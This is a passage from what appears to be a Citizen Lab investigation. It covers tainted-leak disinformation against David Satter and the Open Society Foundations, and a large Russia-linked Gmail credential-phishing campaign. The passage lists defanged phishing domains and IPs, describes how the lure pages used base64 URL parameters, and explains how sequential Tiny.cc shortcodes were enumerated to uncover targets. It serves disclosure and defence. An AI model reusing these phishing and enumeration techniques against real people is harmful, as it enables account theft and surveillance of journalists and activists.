As with the Satter case, the tainting appears to have a primarily domestic focus, and to be aimed at de-legitimizing figures like Navalny by making it appear that they are the recipients of illicit, foreign funding.
This is a view that Navalny, one of the targets of the tainting, has also expressed to Foreign Policy.
A Budget Document First, CyberBerkut released a tainted budget document to make it appear as if OSF was funding Alexei Navalnys Foundation for Fighting Corruption.
Figure 17: Tainted Budget Document: the second row was added to make it appear as if OSF was funding Navalnys Foundation for Fighting Corruption The tainters may have been working quickly, resulting in a small error, in which a dollar amount was substituted for Approved Date.
Proposed Strategy Document Second, a proposed funding strategy document was similarly modified to include the Foundation for Fighting Corruption in a list of groups to receive OSF support.
18/43 https://web-beta.archive.org/web/20151130231756/http://www.cyber-berkut.ru/ http://washingtonmonthly.com/2017/01/09/the-medias-handling-of-leaked-material-from-russia-was-shameful/ https://foreignpolicy.com/2016/08/22/turns-out-you-cant-trust-russian-hackers-anymore/ https://foreignpolicy.com/2016/08/22/turns-out-you-cant-trust-russian-hackers-anymore/ http://www.cyber-berkut.ru/docs/ElizMasterBudgetHRGGPRussiaupdate11-09-2012.pdf http://www.cyber-berkut.ru/docs/Russia-2014-2017ProposedStrategy.pdf Figure 18: Proposed Strategy Document showing the location where the tainted document is modified to include mention of the Foundation for Fighting Corruption The tainting resumed later in the document, when several media outlets (Echo Moscow, RosBusinessConsulting, and Vedomosti)  were also added to the document, apparently to create the perception that they had received the support of OSF.
Figure 19: A second section in the same document showing once more how several media outlets, including Echo Moscow, RosBusinessConsulting, and Vedomosti have been added.
The second instance of tainting in the strategy document also introduced a slight grammatical error when the tainters neglected to remove an before changing news site to the plural news sites.
Document Addressing the NGO Law Finally, in a document addressing grantees and Russias NGO law, tainting was again performed to add Navalnys Foundation for Fighting Corruption.
The tainting also purported to show the foundation receiving money via Yandex, a widely-used Russian platform offering an online payment service.
19/43 https://www.hrw.org/russia-government-against-rights-groups-battle-chronicle http://www.cyber-berkut.ru/docs/RPGranteeNGOLawDecisionChart.pdf Figure 20: Tainted document, once more showing the addition of Navalnys Foundation for Fighting Corruption Taken together, both the tainted document stolen from David Satter, and the tainted OSF documents paint a picture of a competent adversary working to achieve several objectives, including discrediting domestic critics of Russias government and president, while simultaneously attempting to embarrass foreign funders with activities in Russia.
In Part 4 we discuss the significance of tainted leaks as a disinformation technique.
Part 2: A Tiny Discovery Beginning with the shortened link sent to David Satter, we identified a predictable feature in how the link shortener (Tiny.cc) generated its shortened URLs.
This enabled us to identify over 200 additional targets of the same operation described in Part 1.
This section describes the process used to enumerate these targets, and further describes the links between this operation and other publicly-reported Russian-linked phishing campaigns.
In September 2016, ThreatConnect published a blog post documenting phishing attempts against contributors to the citizen journalism website Bellingcat and its founder Eliot Higgins.
The targeted contributors were actively engaged in reporting on the Russian involvement in the July 17, 2014 downing of Malaysia Airlines Flight 17.
ThreatConnect attributed these intrusion attempts to Fancy Bear (aka APT28), a threat actor widely believed to be directly linked to the Russian government.
In an October update to this post, ThreatConnect documented an additional spear phishing attempt against a Bellingcat contributor.
This latest credential phishing attempt was largely similar to the first email sent to David Satter (see Part 1, The Case of David Satter).
Both emails were sent at 10:59am EST using the same sending address: g.mail2017[]yandex.com.
In addition, both shared a fake Gmail footer that was distinctively modified from Gmails original footer.
20/43 https://citizenlab.ca/2017/05/tainted-leaks-disinformation-phish/part4 https://citizenlab.ca/2017/05/tainted-leaks-disinformation-phish/part1 https://www.threatconnect.com/blog/russia-hacks-bellingcat-mh17-investigation/ https://www.crowdstrike.com/wp-content/brochures/FancyBearTracksUkrainianArtillery.pdf https://www.fireeye.com/blog/threat-research/2014/10/apt28-a-window-into-russias-cyber-espionage-operations.html https://citizenlab.ca/2017/05/tainted-leaks-disinformation-phish/part1 Figure 21: Footer from the phishing emails sent to Bellingcat and David Satter showing a distinctive misspelling (possibly to avoid spam filtering) In both cases the malicious links embedded in these phishing emails were configured to redirect the targets to addresses hosted on the URL shortening service Tiny.cc.
As ThreatConnect showed, the Tiny.cc link used against the Bellingcat contributor actually redirected the victim to another shortened URL, this one hosted by a different shortening service: TinyURL.com.
Ultimately, this series of link redirections led to a malicious credential phishing page hosted at the following URL: hxxp://myaccount.google.com-changepassword- securitypagesettingmyaccountgooglepagelogin.id833[.
]ga Table 1: Domain hosting the credential phishing page Using PassiveTotal, we examined the historic DNS resolution data for this domain name.
The results revealed that at the time of these phishing attempts, the domain id833[.
]ga resolved to IP address 89.40.181[.
]119  the same Romanian IP address used to access David Satters email account on October 7 (see Part 1, The Case of David Satter).
This evidence suggests that the Bellingcat contributor and David Satter were both targeted by the same spear phishing campaign this linkage will be explored further in the next section.
Tiny.cc Enumeration In examining the Tiny.cc shortened URLs found within the spear phishing emails sent to David Satter, we became curious as to the structure of how such links were constructed.
Tiny.cc provides a shortening service which allows users to create succinct URLs that redirect to some defined, usually long, website address.
By way of example, we created a Tiny.cc shortened URL which redirects to a recent Citizen Lab report: http://tiny.cc/bj87iy  - https://citizenlab.ca/2017/02/bittersweet-nso-mexico-spyware/ In this example, the Tiny.cc shortcode would be bj87iy.
In the Tiny.cc application back-end database, this hash uniquely resolves to the target address of: https://citizenlab.ca/2017/02/bittersweet-nso-mexico-spyware/ After conducting tests, we determined that these shortcodes are assigned in a sequential manner.
For example, using the Tiny.cc API call for creating a shortened URL, we programmatically generated 8 links with a one-second delay between each call.
The resulting shortcodes generated (in order) were as follows: 21/43 http://tiny.cc/ https://passivetotal.org/ http://tiny.cc/bj87iy https://citizenlab.ca/2017/02/bittersweet-nso-mexico-spyware/ 63q6iy 73q6iy 93q6iy e4q6iy p4q6iy r4q6iy t4q6iy 24q6iy After conducting numerous similar tests, we determined that shortcodes constructed within small temporal windows would be lexically close in the sense of the following base36 alphabet sequence: a,b,c,d,e,f,g,h,i,j,k,l,m,n,o,p,q,r,s,t,u,v,w,x,y,z,0,1,2,3,4,5,6,7,8,9 Successive shortcodes are constructed by iterating the leftmost character through this base36 alphabet.
Once all 36 characters have been exhausted, this leftmost character reverts to the initial value of a, with the second character then iterating one position according to the same alphabet.
This iterative process continues for each position of the shortcode (see Figure 22), enabling us to consider the shortcodes as a sort of base36 counter.
Figure 22: Enumerating the base36 shortcodes used by tiny.cc Given this understanding of the shortcode design, we can measure the notional distance between any pair of shortcodes.
For example, the distance between the shortcodes  bj87iy and cj87iy would be 1, and the distance between bj87iy and bk87iy would be 36.
22/43 This distance measurement gives an idea of how close two shortcodes are, and thus by extension, how close in time they were generated.
We will revisit this notion of distance below.
Using this design knowledge, we considered the Tiny.cc shortcodes found in the October 5 and 7 phishing emails sent to David Satter.
Using these as a starting point, we enumerated approximately 4000 adjacent shortcodes for each, and then examined the target web addresses to which these short links redirected.
From this large list, we extracted all of the associated destination links (see Figure 23) which redirected to the malicious phishing domain described above in Table 1.
Figure 23: Some of the phishing links discovered during enumeration of the Tiny.cc shortcodes This enumeration led us to discover evidence suggesting that David Satter and the unnamed Bellingcat journalist were but two targets of a much larger credential phishing campaign.
Notably, as mentioned above in Part 1: A Second Phishing E-mail, when we checked the particular Tiny.cc shortcode received by Satter, the unshortened link to the phishing page had been replaced with a benign URL: myaccount.google[.
]com.
We were unable to conclusively determine the reason for this substitution.
One theory suggests that the campaign operators mistakenly shortened incorrect destination URLs, while another posits that once the operators had successfully compromised a targets account, they would inoculate the Tiny.cc link provided in the phishing email.
Indeed, in the same batch of enumerated shortcodes from the October campaign, we found four additional shortcodes which also pointed to myaccount.google[.
]com.
Decoding the targets We examined the unshortened URLs of shortcodes that were adjacent to the one sent to Satter, and discovered 25 distinct destination addresses of the form: https://www.google.com/amp/tinyurl.com/(redacted) These addresses were redirects which leveraged the previously mentioned, Google-hosted, open redirect page (google.com/amp/) to send a user to a link on the TinyURL.com shortening service.
In every case, these TinyURL.com links were each designed to send their intended 23/43 https://citizenlab.ca/2017/05/tainted-leaks-disinformation-phish/part1 victims to a tailored version of the following, fake, Gmail login page: hxxp://myaccount.google.com-changepassword- securitypagesettingmyaccountgooglepagelogin.id833[.
]ga/security/signinoptions/password This domain, discussed above and noted in Table 1, at the time the phishing emails were sent, resolved to the Romanian IP address used to access Satters Gmail account (see Part 1).
In order to bolster the social engineering aspect of these fake Gmail login pages, the operator used a series of base64-encoded URL parameter values in order to display the targets email address, and in some cases the targets name and Google profile image, into the appropriate fields on the fake login page.
Figure 24: TinyURL preview of a second level redirect of a phishing link The following example URL illustrates the use of these parameters (Figure 25): 24/43 Figure 25: URL parameter decoding from a phishing link By virtue of this pattern of URL parameters, we were able to determine the precise target of each of the phishing links we discovered during our enumeration process.
The significance of this pattern of URL parameters will be revisited below in Part 3.
Digging Deeper Extending the search for suspicious URLs by fully enumerating the entire six-character shortcode sequence space in the above manner proved to be intractable.
However, the same ThreatConnect report discussed above also documented a previous APT28-attributed phishing attempt against Bellingcat journalist Aric Toler.
On June 16, 2016, Toler was sent a strikingly similar Google-themed phishing email containing a Tiny.cc shortcode.
Following the same process outlined above, we enumerated the shortcodes adjacent to the one published by ThreatConnect.
In doing so, we discovered another group of targets  198 target email addresses in total.
In this earlier campaign, the unshortened URLs pointed directly to the likely phishing page (Figure 26): Figure 26: URL parameters in June campaign against Aric Toler Notably, these links appear to be hosted on the Google Blogger service, and while these pages were already taken offline when we attempted to examine them, the same characteristic URL parameterization can be observed.
5 25/43 https://citizenlab.ca/2017/05/tainted-leaks-disinformation-phish/part3 https://citizenlab.ca/2017/05/tainted-leaks-disinformation-phish/5 A brief analysis of the target list associated with these two campaigns is provided above (see Pandoras Un-Shortening: Civil Society Targets Emerge).
Testing the Lure We measured the distance between successive malicious Tiny.cc shortcodes seen in the June and October campaigns (Figure 27).
In doing so, we observed fairly consistent distances between the shortcodes, perhaps indicating that the operators were generating these links via an automated process.
However, one shortcode stood out, and we suspected this may have been a manual operator test.
Figure 27: The anomalous distance of 305 immediately stood out from the average of 8.2, drawing our attention to the shortened link According to the parameters obtained from the phishing URL associated with this anomalous shortcode, we were able to decode the Gmail account targeted with this phishing link: 26/43 https://citizenlab.ca/2017/05/tainted-leaks-disinformation-phish/pandorasunshortening Parameter Result after decoding Email Address myprimaryreger[]gmail.com Full Name hln Google Profile Picture Table 2: URL parameter values decoded This Google account, myprimaryreger[]gmail.com, was also used in the registration of at least one other domain name which was linked in prior research to known or suspected APT28 activity.
Such connections, while circumstantial, further support the link to Russia-based threat actors.
In Appendix B we provide a brief description of why we think the account is being used by the operator, and how the account uses Google Plus posts to embed images into phishing e-mails.
Part 3: Connections to Publicly Reported Operations This section outlines the connections and overlaps between the operation described in this report and other, publicly-reported Russian-affiliated cyber espionage campaigns.
The operator test uncovered during our enumeration of the Tiny.cc shortcodes (see Testing the Lure above), provides a circumstantial link to APT28, however there are other potential links.
In this section, we outline other comparisons between this campaign and other publicly reported operations that have a Russian nexus.
We identify marked similarities to a collection of phishing links now attributed to one of the most publicly visible information operations in recent history: the targeting of the 2016 US Presidential Campaign.
A Bit More Abuse The phishing URLs in this campaign were encoded with a distinct set of parameters using base64.
When clicked, the links provided key information about the targets to the phishing website.
An identical approach to parameters and encoding (see Figure 28 below) has been seen before: in the March 2016 phishing campaign that targeted Hillary Clintons presidential campaign and the Democratic National Committee.
This similarity suggests possible code re- use: the two operations may be using the same phishing kit.
The campaign that targeted the DNC also included the same Google security-themed phishing ruse, and abused another URL shortening service, Bit.ly.
In June 2016 Dell SecureWorks published a report attributing the operation to APT28, a threat actor routinely associated with 27/43 https://www.threatconnect.com/blog/how-to-investigate-incidents-in-threatconnect/ https://www.fireeye.com/blog/threat-research/2015/04/probable_apt28_useo.html https://citizenlab.ca/2017/05/tainted-leaks-disinformation-phish/appendixb https://citizenlab.ca/2017/05/tainted-leaks-disinformation-phish/testingthelure https://motherboard.vice.com/en_us/article/how-hackers-broke-into-john-podesta-and-colin-powells-gmail-accounts http://bit.ly/ https://www.secureworks.com/research/threat-group-4127-targets-hillary-clinton-presidential-campaign https://www.secureworks.com/research/threat-group-4127-targets-hillary-clinton-presidential-campaign https://www.fireeye.com/blog/threat-research/2014/10/apt28-a-window-into-russias-cyber-espionage-operations.html https://www.crowdstrike.com/blog/who-is-fancy-bear/ the Russian government.
SecureWorks researchers were able to enumerate and analyze the targets of this campaign, thus allowing them to describe the victimology: individuals in Russia and the former Soviet states, current and former military and government personnel in the U.S. and Europe, individuals working in the defense and government supply chain, and authors and journalists  but also included email accounts linked to the November 2016 United States presidential election This victimology strikes an immediate parallel to the target listing we have uncovered in our enumeration of the Tiny.cc URLs.
Figure 28: Bitly link and ultimate phishing page address sent to John Podesta, former chairman of the Hillary Clinton presidential campaign, in March 2016 Domain Schema Commonalities We found similarities in domain naming, and subdomain structures, between this campaign and operations linked to APT28.
The domain used in the campaign targeting Satter was id833[.
]ga.
At the time of the campaign, this domain name was pointed to a server at IP address 89.40.181[.
]119.
Using PassiveTotal, we observed other domain names sharing a similar naming scheme also directed at this IP: id834[.
]ga, and id9954[.
]gq.
While we did not observe any phishing links for these alternate domains, there were identical subdomains registered for both: Domain Sub-Domain id833[.
]ga myaccount.google.com-changepassword-securitypagesettingmyaccountgooglepagelogin id834[.
]ga myaccount.google.com-changepassword-securitypagesettingmyaccountgooglepagelogin id9954[.
]gq myaccount.google.com-changepassword-securitypagesettingmyaccountgooglepagelogin This domain / subdomain naming schema is also extremely close to one featured in Mandiants 2017 M-Trends report, in a phishing operation, linked to APT28, which targeted OAuth tokens in an effort to obtain persistent access to a victims Google account, and to 28/43 https://www.fireeye.com/current-threats/annual-threat-report/mtrends.html bypass the security of two-factor authentication.
Domain linked to this campaign: myaccount.google.com-changepassword- securitypagesettingmyaccountgooglepagelogin.id833[.
]ga Domain mentioned by Mandiant, linked to APT28:myaccount.google.com- changepassword-securitypagesettingmyaccountgooglepage.id4242[.
]ga The similarities in naming and subdomain structure are immediately apparent.
The two domains (id833[.
]ga and id4242[.
]ga) also share a common name server.
However, we were not able to find specific registration overlaps between the domains or servers.
Furthermore, during the campaign period, the domain identified by Mandiant, id4242[.
]ga resolved to  89.32.40[.
]238.
This IP also resolves to a range of other suspicious domains with highly similar naming schemas to those connected to the infrastructure used against Satter.
The link used to phish John Podesta, as depicted above, also shares distinct naming and subdomain similarities with domains linked to the phishing operation against Satter (see Figure 28): Domain targeting Podesta, linked to APT28: hxxp://myaccount.google.com- securitysettingpage[.
]tk During the campaign in March 2016, this domain was hosted at IP address 80.255.12[.
]237 Publications from numerous private industry groups attribute 89.32.40[.
]238 and 80.255.12[.
]237 (as well as related domains) to APT28.
While we are able to point out that there are significant commonalities in domain naming and subdomain structure between the campaign targeting Satter and domains linked to these IPs, we are not able to make a more conclusive technical link to APT28.
While industry groups as well as the U.S. government have publicly connected APT28 with Russian state actors, we are not able to use infrastructure analysis alone to conclusively connect the operation against Satter to a particular state sponsor.
Connecting this infrastructure to a specific government would require additional evidence which is not, to our knowledge, available in the public domain.
The Challenge of Attribution While the order of events surrounding the phishing, credential theft, and eventual leak of tainted documents belonging to David Satter would seem to point to CyberBerkut, the characteristics of Russian information operations make the task of attribution to a state sponsor challenging.
As a consequence, there is no smoking gun connecting the evidence we have assembled to a particular Russian government agency, despite the overlaps between our evidence and that presented by numerous industry and government reports concerning Russian-affiliated threat actors.
Addressing the topic of attribution requires nuance and appreciation of the unique character of 29/43 https://www.fireeye.com/blog/threat-research/2014/10/apt28-a-window-into-russias-cyber-espionage-operations.html https://www.dni.gov/files/documents/ICA_2017_01.pdf Russian cyber espionage: its deliberate cultivation of organized criminal groups as proxy operators, and the high number of independently operating, overlapping, and sometimes competing spy agencies and security services all of whom work within a broad culture of barely concealed corruption.
As one study on Russia notes, Russias many security agencies are granted considerable latitude in their methods, unconstrained by the concerns of diplomats or the scrutiny of legislators.
Russias approach to the use of proxy actors in the criminal underworld in particular is informed by a very elaborate strategy around information operations and control.
Although this strategy has roots that go back deep into Soviet (and even earlier Russian) history, it was more fully elaborated as a component of hybrid warfare, also known as the Gerasimov doctrine or non-linear warfare, and infused with deeper resources after the color revolutions, the 2011 Moscow protests, and upon reflection of the events of the Arab Spring.
The overall Russian approach has been described as a form of guerrilla geopolitics in which a would-be great power, aware that its ambitions outstrip its military resources, seeks to leverage the methodologies of an insurgent to maximise its capabilities.
Cultivating organized criminal groups is a fundamental component of this approach, as evidenced in the annexation of Crimea which was undertaken in coordination with criminal elements who provided political and military muscle.
Russian security officers are also known to routinely dabble in the proceeds of underworld criminal operations for illicit revenue of their own, and as a result can even prioritize criminal over national security concerns.
In the digital arena, this doctrine is manifest in the cultivation of Internet-focused organized criminal groups who operate partially on behalf of or in support of the Putin regime, and partially oriented around their own pecuniary gain in online financial fraud and other schemes.
There is evidence Russian hackers are being given wide latitude to undertake criminal activities as long as it conforms to Russian security agencies wishes.
Multiple Russian- affiliated operators could compromise the same target unwittingly and without seeming coordination.
This piling on around a target further complicates attribution.
This complex proxy strategy, as well as the multiple, competing agencies behind the proxies, is often lost or overlooked when companies and government agencies jump quickly to attribution around Russian cyber espionage.
While it is possible that a proxy actor is implementing the front-end collection component of the phishing campaign we are describing, the scale of the targeting also suggests a well- resourced actor, such as a nation state.
The thread linking all of the targets is their connection to issues that the Russian government cares about.
The targets are people whose positions or activities give them access to, or influence over, sensitive information of specific interest to Russia.
This links an otherwise extremely diverse target set, which ranges from domestic Kremlin critics and journalists, to anti-corruption investigators, foreign government personnel, and businesspeople.
The data collected from such a campaign would come in more than a dozen languages, and concern a diverse range of political, military, and policy issues from at least 39 countries and 28 governments.
In addition, such a campaign would be likely to generate large volumes of 30/43 https://www.opendemocracy.net/od-russia/irina-borogan-andrei-soldatov/kremlin-and-hackers-partners-in-crime http://www.ecfr.eu/page/-/ECFR_169_-_PUTINS_HYDRA_INSIDE_THE_RUSSIAN_INTELLIGENCE_SERVICES_1513.pdf http://www.ecfr.eu/page/-/ECFR_169_-_PUTINS_HYDRA_INSIDE_THE_RUSSIAN_INTELLIGENCE_SERVICES_1513.pdf https://academic.oup.com/jcsl/article/21/3/383/2566739/Proxies-and-Cyberspace https://scholar.google.com/scholar_lookup?publication_yearFebruary2013pages1-2authorValeryGerasimovtitleTsennostE28099naukivpredvidenii http://foreignpolicy.com/2014/05/05/how-putin-is-reinventing-warfare/ http://www.tandfonline.com/doi/full/10.1080/09592318.2015.1129170?scrolltopneedAccesstrue http://www.ecfr.eu/page/-/ECFR_169_-_PUTINS_HYDRA_INSIDE_THE_RUSSIAN_INTELLIGENCE_SERVICES_1513.pdf https://www.opendemocracy.net/od-russia/irina-borogan-andrei-soldatov/kremlin-and-hackers-partners-in-crime https://www.wired.com/2017/03/russian-hacker-spy-botnet/ https://mobile.nytimes.com/2017/03/16/world/europe/russian-hacker-fsb-agent-dmitry-dokuchaev.html?_r1refererutm_contentbuffer43117utm_mediumsocialutm_sourcetwitter.comutm_campaignbuffer data.
For this reason, a professionalized, well-resourced operator would be needed for any effective post-collection analysis of the stolen data.
Even greater resources would be required to analyse, and in some instances carefully modify in a short timeframe, the contents of stolen email and cloud-storage accounts for the purposes of seeding disinformation via tainted leaks.
The diversity and presumed cost of analyzing the stolen data along with the clear Russian nexus for the targets is only circumstantial evidence of a Russian connection.
It should be evaluated in the context of the other pieces of circumstantial evidence we present, including the overlaps in tactics with known Russia-linked actors, and the prominent role of CyberBerkut.
Part 4: Discussion In this section, we examine the troubling relationship between espionage and disinformation, particularly in its latest digital manifestation, and elaborate on how civil society is particularly at risk from such new tactics.
Tainted Leaks: A New Trend The recent theft and disclosure of documents (branded as a leak) from the presidential campaign of Emmanuel Macron is the highest profile case in which it appears that falsified documents were inserted amongst real, stolen documents.
The documents falsely implied a range of improper or questionable activities.
The false stories implied by these documents were then highlighted in campaigns promoted with twitter bots and other techniques.
The leak- branded release had followed the release, several days earlier, of a quickly-debunked story, supported by falsified documents, alleging that Macron held foreign bank accounts.
In the case of the leak-branded releases during the 2016 US presidential election, the publicly- available evidence connecting these releases with Russian-affiliated cyber operations is largely circumstantial, but compelling.
It is reported, and highly probable, that stronger evidence is available in classified venues.
Building on initial reports by Trend Micro that the Macron campaign was targeted by APT28, follow-up reports have pointed to Russian involvement in the breach, and the tainted leaks.
The Macron case continues to develop, and many elements are still uncertain, including whether the Macron campaign was deliberately seeding their own communications with false documents, intended to slow down operators analysis pipeline.
However, it is not the first case in which evidence or claims of tainted leaks have surfaced.
Documents stolen from the Open Society Foundations, which had been the victim of a breach, were modified and then released in a tainted leak by CyberBerkut in a post dated November 21 2015.
The tainting included careful alterations, such as modifying budget documents, to make it appear that certain Russian civil society groups were receiving foreign funding.
The case became publicly visible because elements of the same stolen set were re-released on the leak-branded website DC Leaks, without the tainting.
31/43 https://www.alienvault.com/blogs/labs-research/macronleaks-a-timeline-of-events http://www.reuters.com/article/us-france-election-cyber-idUSKBN1820QO http://observers.france24.com/en/20170505-france-elections-macron-lepen-offshore-bahamas-debunked https://www.justsecurity.org/35989/dhsfbi-report-russian-hacking-predictable-failure/ https://www.trendmicro.com/vinfo/us/security/news/cyber-attacks/espionage-cyber-propaganda-two-years-of-pawn-storm https://www.nytimes.com/2017/05/09/world/europe/hackers-came-but-the-french-were-prepared.html https://www.nytimes.com/2017/05/09/world/europe/hackers-came-but-the-french-were-prepared.html https://web.archive.org/web/20151122184010/http://www.cyber-berkut.ru/ In the case of David Satter, whose personal email accounts had similarly been breached, and then tainted, materials were edited, spliced, and deleted, while new text was added.
Fiction was added to fact to create a hybrid tainted leak.
The tainted leak told a series of new, false stories, intended not only to discredit Satter, but to support domestic narratives familiar to many Russians: of foreign interference, and of a foreign hand behind criticism of the government.
Falsehoods in a Forest of Facts Recent leaks by genuine whistleblowers, as well as leak-branded releases of materials stolen by cyber espionage operations (e.g.
DC Leaks or Macron Leaks) are appealing because they appear to provide an un-filtered peek at people speaking privately.
Like an intercepted conversation, they feel closer to the truth, and may indeed reveal unscripted truths about people and institutions.
It is hard not to be curious about what salacious details might be contained within them.
In the 2016 United States presidential election, it was evident that the release, although clearly intended to influence the election, was viewed by most media organizations as having intrinsic newsworthiness, and thus the contents of leaks were often quickly amplified and repeated.
The potential of leaks to attract attention makes large dumps of stolen materials fertile ground for tainting.
A carefully constructed tainted leak included in a set of real stolen material is surrounded by documents that, by juxtaposition, indirectly signal that it is legitimate.
This could help the tainted leak survive initial scrutiny by reporters and others seeking corroboration.
Coupled with a media strategy, or social-media amplification campaign that selectively highlights the fake or the narrative that the fake supports, leak tainting poses a serious problem to both the victim of the breach, and whoever is implicated by the disinformation.
The spread of disinformation can contribute to cynicism about the media and institutions at large as being untrustworthy and unreliable, and can cultivate a fatigue among the population about deciphering what is true or not.
By propagating falsehoods, the aim is not necessarily to convince a population that the falsehood is true (although that outcome is desirable) but rather to have them question the integrity of all media as equally unreliable, and in doing so foster a kind of policy paralysis.
Tainted Leaks Place a Unique Burden on Breach Victims Should a tainted document gain traction, there is a burden on the victim of the disinformation to prove that the leaks are not genuine.
This challenge may be difficult.
Victims of breaches may be unable, unwilling, or forbidden to release original documents.
Moreover, they may not wish to be drawn into fact-checking their own stolen data.
This problem is likely to be especially true if the operators behind the tainted leaks have chosen documents that are themselves sensitive.
A Russian anti-corruption activist whose name has been seeded into such sensitive reports may not be able to convince the original victim of the breach to release the authentic document.
Indeed, such a person may not even be able to determine exactly which parts of 32/43 https://www.nytimes.com/2016/08/29/world/europe/russia-sweden-disinformation.html the document are real, and which are fake, beyond what they know to be true about themselves.
Meanwhile, members of the public do not have the ability to carefully verify the integrity of such dumps, either as a whole, or specific documents within them.
Indeed, even journalists reporting on accusations or falsehoods may be unable to obtain explicit confirmation of which exact material has been faked.
If a tainted document is carefully constructed from real, verifiable elements, it may be especially difficult to identify as a fake.
Even if journalists do the hard digging and analysis, they may not be able to publish their results in a timely enough fashion to matter.
By the time their work is complete, the false information may have embedded itself into the collective consciousness.
Disinformation can persist and spread unless concerted measures are taken to counter it.
Even more insidious is the fact that studies have found that attempts to quash rumors through direct refutation may facilitate their diffusion by increasing fluency.
In other words, efforts to correct falsehoods can ironically contribute to their further propagation and even acceptance.
Not all tainted leaks work as intended to cause maximum harm.
Almost immediately following the Macron Leaks, the Macron campaign responded quickly, and stated that the leaks included fakes.
In the fast-moving media environment in the days before voting, this move may have led to uncertainty about the factual nature of the release in the minds of many journalists, dimming enthusiasm to quickly report finds.
Amplification of the leaks was further blocked by a recommendation to media by the French electoral authority to not relay the leaks.
The authority pointed to the presence of fakes, and warned of possible legal implications for reporting the story.
Following the voting, staff from the Macron campaign claimed in the media that the stolen documents also likely contained fakes created by the campaign, designed to waste the time of intruders.
This claim also cast further doubt on the veracity of any documents contained in the leaks.
Tainted Leaks: Old Methods, New Tactics Stealing digital information for intelligence purposes is a well-known and commonly practiced tactic used by states.
However, a unique aspect of Russian cyber espionage distinguishing it from other governments is the public release of exfiltrated data intended to embarrass or discredit adversaries.
Known as kompromat, this type of activity is common in Russia, and was previously used by the Soviet Union, and is evident in the publication of emails on Wikileaks related to United States officials involved in the 2016 U.S. presidential election campaign.
Releasing Satters e-mails could be roughly described as kompromat.
However, with his cooperation we were able to identify a second feature of the release: the deliberate tampering with the content of his messages.
This mixing of fact and falsehood is thus also a disinformation strategy.
33/43 https://www.cambridge.org/core/journals/journal-of-experimental-political-science/article/div-classtitledisplacing-misinformation-about-events-an-experimental-test-of-causal-correctionsdiv/69550AB61F4E3F7C2CD03532FC740D05 https://www.cambridge.org/core/journals/british-journal-of-political-science/article/rumors-and-health-care-reform-experiments-in-political-misinformation/8B88568CD057242D2D97649300215CF2 https://www.washingtonpost.com/world/macron-campaign-says-its-emails-have-been-subjected-to-massive-coordinated-hacking/2017/05/06/368c0460-31e1-11e7-a335-fa0ae1940305_story.html?utm_term.c8b26c86f3a9 http://www.cnccep.fr/communiques/cp14.html http://www.thedailybeast.com/articles/2017/05/06/did-macron-outsmart-campaign-hackers In Russian / Soviet military doctrine, the practice of deliberately propagating forged documents and disinformation is known as dezinformatsiya, referring to manipulation of information in the service of the propagation of falsehoods.
Although practiced for decades by Russia and the Soviet Union, the use of dezinformatsiya in connection with cyber espionage is a new and troublesome frontier in structured digital disinformation.
Why Target Civil Society?
Our investigation identified civil society targets inside and outside of Russia.
This targeting is consistent with a general consensus on how the Russian regime thinks: whether domestic or foreign, civil society is treated as a threat to the regime, its extended kleptocracy, and the sovereignty of the country.
There are at least two reasons why civil society factors highly into Russian perceptions of threats.
First, independent civil society groups can create difficulties for the regime by spotlighting corruption and abuse of power, speaking freely about issues the government would rather keep in the shadows, and mobilizing people into organized opposition.
Those unfamiliar with the Russian experience may overlook a second motivation, which is drawn from the larger Russian narrative of humiliation and defeat at the hands of the United States and its allies at the end of the Cold War.
Some Russian leaders, especially those tied to the old Soviet system, resent US triumphalism, and see local civil society (except for those under their direct control) as instruments of US and western interference in Russian domestic politics.
For example, Putin used the term active measures to describe the actions of then- Secretary of State Hillary Clinton during the 2011 Moscow demonstration.
This narrative of Russia as a besieged fortress is used as justification for the repression and targeting of civil society groups both inside Russia proper, in the former Soviet spaces, and abroad.
While often overlooked by western media and policymakers, this threat model translates in practice into targeted digital surveillance operations on civil society, both domestically and abroad.
Of special concern to the government are NGOs, journalists, and activists that are seen as having links to the West and / or are funded by western governments.
Many of the targets of this campaign are connected in some degree to United States-based think tanks and fellowships.
Of equal concern to the government, however, are the actions of domestic NGOs and individuals.
As our report shows, a principal motivation for the targeting of David Satter and the tainting of leaks derived from materials stolen from him was to falsely portray local Russian groups as having affiliations and even funding ties to western organizations and the U.S. government.
Conclusion Tainted leaks are a growing and particularly troublesome addition to disinformation tactics, and in the current digital environment are likely to become more prevalent.
In the 2017 French 34/43 https://www.technologyreview.com/s/604084/russian-disinformation-technology/ https://www.theatlantic.com/international/archive/2014/08/the-kremlins-troll-army/375932/ http://fpc.org.uk/fsblob/1786.pdf https://www.nytimes.com/2016/08/06/opinion/for-putin-disinformation-is-power.html https://books.google.ca/books?idw-WqCwAAQBAJpgPA188lpgPA188dqrussiabesiegedmarkgaleottisourceblotssPESrA6ri7sigQWCDpvxBpbu_BIl9orC7cmGQ_T8hlensaXved0ahUKEwj4jYSeitnTAhUL7IMKHavnC94Q6AEIMDACvonepageqrussia besieged mark galeottiffalse presidential election, tainted leaks appear to have been used in an attempt to discredit the political party and candidate for election directly.
The target of the tainting was roughly the same entity that suffered the breach.
In the cases we analyzed, however, tainted leaks were used to discredit third parties who had not been the victims of the original breach.
This difference highlights yet another facet of the growing trend of leak-branded releases, and the challenges they pose.
Tainted leaksfakes in a forest of factstest the limits of how media, citizen journalism, and social media users handle fact checking, and the amplification of enticing, but questionable information.
As a tactic, tainted leaks are an evolution of much older strategies for disinformation, and like these earlier strategies, pose a clear threat to public trust in the integrity of information.
Interestingly, while the tainting we describe appears to have a primarily domestic aim, to discredit elements of the Russian opposition, it is readily applied globally.
The report identified a phishing campaign with over 200 unique targets from 39 countries.
We do not conclusively attribute the technical elements of this campaign to a particular sponsor, but there are numerous elements in common between the campaign we analyzed and that which has been publicly reported by industry groups as belonging to threat actors affiliated with Russia.
Given Russias well-known preference for the use of proxy actors, it would be highly unlikely that a group such as ours, which relies on open source information, would be able to discover a conclusive link in a case like this.
However, it is worth reiterating that the resources of a government would likely be necessary to manage such a large and ambitious campaign, given the number of languages spoken by targets, and their areas of work.
The group includes a former Russian Prime Minister, a global list of government ministers, ambassadors, military and government personnel, CEOs of oil companies, and members of civil society from more than three dozen countries.
The targets we found are connected to, or have access to, information concerning issues in which the Russian government has a demonstrated interest.
These issues range from investigations of individuals close to the Russian president, to the Ukraine, NATO, foreign think tanks working on Russia and the Crimea, grantmakers supporting human rights and free expression in Russia, and the energy sector in the Caucasus.
